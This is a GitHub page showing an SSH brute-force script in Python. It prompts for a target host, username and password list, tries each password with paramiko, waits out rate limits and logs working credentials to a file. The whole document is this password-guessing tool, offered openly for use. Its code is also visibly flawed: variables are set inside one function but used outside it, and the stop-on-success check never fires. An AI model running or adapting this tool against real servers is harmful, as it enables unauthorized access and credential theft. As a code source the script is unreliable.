-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathbruteforce.py
196 lines (124 loc) · 5.06 KB
/
bruteforce.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
#!/usr/bin/python
# // Code by myth-dev or h4ckerworld.
# // Instagram: @h4ckerworld.
# // Telegram: @myth_dev
# // GitHub: https://github.com/mython-dev/
# I think made an understandable code.
# System library
import os
import time
import sys
from sys import stdout
from sys import platform
# Installation library
try:
import socket
import paramiko
except ImportError:
print(f'Please run command: sudo bash install.sh')
sys.exit()
# Colors
red="\033[0;31m"
green="\033[0;32m"
yellow="\033[0;33m"
blue="\033[0;34m"
purple="\033[0;35m"
cyan="\033[0;36m"
white="\033[0;37m"
nc="\033[00m"
# Fragments
ask = f"{green}[{white}?{green}] {yellow}"
success = f"{yellow}[{white}√{yellow}] {green}"
error = f"{blue}[{white}!{blue}] {red}"
info = f"{yellow}[{white}+{yellow}] {cyan}"
info2 = f"{green}[{white}•{green}] {purple}"
# Clear console
def clear():
os.system('clear')
# Print lines slowly
def sprint(text):
"""Print lines slowly"""
for line in text + '\n':
stdout.write(line)
stdout.flush()
time.sleep(0.03)
def check_os():
"""Checks Operating Systems"""
os = platform
if os == 'win'.lower() and 'win32'.lower():
sprint(f'\n{error}Are you seriously bro? Do you want to run bruteforce on Windows? Go to ass bro!\n')
sys.exit()
clear()
check_os()
# Generated by banner-generator. https://www.askapache.com/online-tools/figlet-ascii/
logo = f'''
{nc}
____ ____ _ _ ____ _ __
/ ___/ ___|| | | | | __ ) _ __ _ _| |_ ___ / _| ___ _ __ ___ ___ _ __
\___ \___ \| |_| | | _ \| '__| | | | __/ _ \ |_ / _ \| '__/ __/ _ \ '__|
___) |__) | _ | | |_) | | | |_| | || __/ _| (_) | | | (_| __/ |
|____/____/|_| |_| |____/|_| \__,_|\__\___|_| \___/|_| \___\___|_|
{nc}[v] 1.0
{nc}By myth-dev or h4ckerworld
{nc}*****************************************************
{nc}* {yellow}Telegram: @myth_dev {nc}*
{nc}* {yellow}GitHub: https://github.com/mython-dev {nc}*
{nc}* {yellow}Instagram: @mython_dev and @h4ckerworld {nc}*
{nc}*****************************************************
'''
print(logo)
# variable tab
TAB = '\t'
sprint(f'''{TAB}{cyan}You may stop this individual, but you can't stop us all... after all, we're all alike.\n''')
# function main.
def main():
try:
host = input(f'{info2}{nc}Enter Targer Address: {yellow}')
username = input(f'\n{info2}{nc}Enter SSH Username: {yellow}')
path_file = input(f'\n{info2}{nc}Enter the Password.txt path: {yellow}')
n = '\n'
print(n)
# Checking a file for existence
if os.path.exists(path_file) == False:
sprint(f'\n{error}No such file! Please enter the right path\n')
time.sleep(0.5)
clear()
print(logo)
main()
except KeyboardInterrupt: # If it clicks CTRL + C then exiting script.
sprint(f'\n{success}Exit!\n')
sys.exit()
# function brute force
def sshbrute_forcer(host, username, password):
"""function brute force """
port = '22' # port ssh.
ssh = paramiko.SSHClient() # initialize ssh client
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(hostname=host, username=username, password=password, timeout=3)
except socket.timeout:
# this is when not found host or timeout connection:(.
print(f"\n{error}{red}Not found {host} or timeout connection. {host}\n")
sys.exit(1) # If the Timeout Connection Host, then the exit from this script.
except paramiko.AuthenticationException:
print(f'{error}[ATTEMPT] host {host} - login "{username}" - pass "{password}"')
except paramiko.SSHException:
# this is too many requests. sleep 2 minute :(
print(f"{error} Too many queries wait a two minute.")
time.sleep(120)
# return again brute force function!.
return sshbrute_forcer(host, username, password)
else:
# Found password and login. Brute forced successfully.
sprint(f"\n{success}[{port}] host: {host} login: {username} password: {password}\n")
print(f"{success}I saved it to the file credentials.txt\n{info}You can check: cat credentials.txt\n")
# open file. and write login and password.
with open("credentials.txt", "a") as file:
file.write(f'Host: {host}, Login: {username} Password: {password}\n')
# read password file!.
passlist = open(path_file).read().splitlines()
for password in passlist:
if sshbrute_forcer(host, username, password):
break
# call function main.
main()